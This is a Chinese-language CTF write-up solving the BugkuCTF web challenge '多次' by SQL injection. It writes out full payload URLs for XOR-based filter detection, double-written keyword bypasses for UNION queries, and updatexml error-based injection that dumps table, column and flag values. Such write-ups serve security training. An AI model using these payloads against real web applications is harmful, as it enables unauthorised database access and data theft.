BugkuCTF之web题之多次

BugkuCTF之web题之多次

点击进去发现是:
BugkuCTF之web题之多次_第1张图片
看见有个id,一个一个试一试,到id=5时,发现有提示:
BugkuCTF之web题之多次_第2张图片
可以确定了,这题是sql注入。

判断一下是什么注入,加上单引号出错,加上#不出错,加上’ and 1=1#又出错了,应该是过滤,这时候我们就要判断一下SQL网站过滤了什么内容,这里有一个很好的方法知道过滤的是什么,使用 异或注入
在id=1后面输入 ‘^(0)^’
发现不出错,那就将0换成1=1
如果出错,那就是成功了
BugkuCTF之web题之多次_第3张图片
BugkuCTF之web题之多次_第4张图片
发现是可以的。
也就是说,如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了
BugkuCTF之web题之多次_第5张图片
通过以上的方法可以发现union,select,or,and被过滤了,limit,from没有被过滤。
尝试绕过过滤,既然union这些都是被过滤掉了
那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了
BugkuCTF之web题之多次_第6张图片
经过测试,用这个方法,确实可以。

最终的payload为
http://123.206.87.240:9004/1ndex.php?id=-1' uniounionn selecselectt 1,2%23 发现在2的位置有一个回显
BugkuCTF之web题之多次_第7张图片
接下来就是爆库名,爆表,爆列,爆值。。。。

http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%22web1002-1%22%23
http://123.206.87.240:9004/1ndex.php?id=-1%27ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_schema=%27web1002-1%27%20anandd%20table_name=%27flag1%27%23
http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,flag1%20from%20flag1%23

库名:
BugkuCTF之web题之多次_第8张图片
表名:
BugkuCTF之web题之多次_第9张图片
两个??肯定查看flag1啦

flag1列名:
BugkuCTF之web题之多次_第10张图片
flag1列的值:
BugkuCTF之web题之多次_第11张图片
满怀欣喜啊,flag出来啦,赶紧交一波。
错误。。。发现题目:
BugkuCTF之web题之多次_第12张图片
难道在address里面??看一下咯!

http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,address%20from%20flag1%23

发现:
BugkuCTF之web题之多次_第13张图片
what???还有下一关???那就继续咯。
点击进入,发现:
BugkuCTF之web题之多次_第14张图片
测试时发现暗藏玄机啊,字体是黑色的,坑~~,输入id=1’发现:
BugkuCTF之web题之多次_第15张图片
存在SQL注入,并且我们可以从回显中查看哪些被过滤掉了,注意是错误中的显示才是正确的。继续测试看看过滤,发现union,select,sleep,substr都被过滤掉了
双写无法绕过,大小写无法绕过。
更换函数,利用updatexml报错。

//查表名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27~%27),3)%20%23
//查列名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23
//查值
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23

BugkuCTF之web题之多次_第16张图片
BugkuCTF之web题之多次_第17张图片
BugkuCTF之web题之多次_第18张图片
终于得到了flag啊
赶紧交一下,还是不对!!
难道要两个??原来是小写,坑~~
PS:
这个题其实还有一种解法。。
叫啥布尔盲注,这个目前不知道,下次再说吧!!

你可能感兴趣的:(CTF题,BUGKUCTF)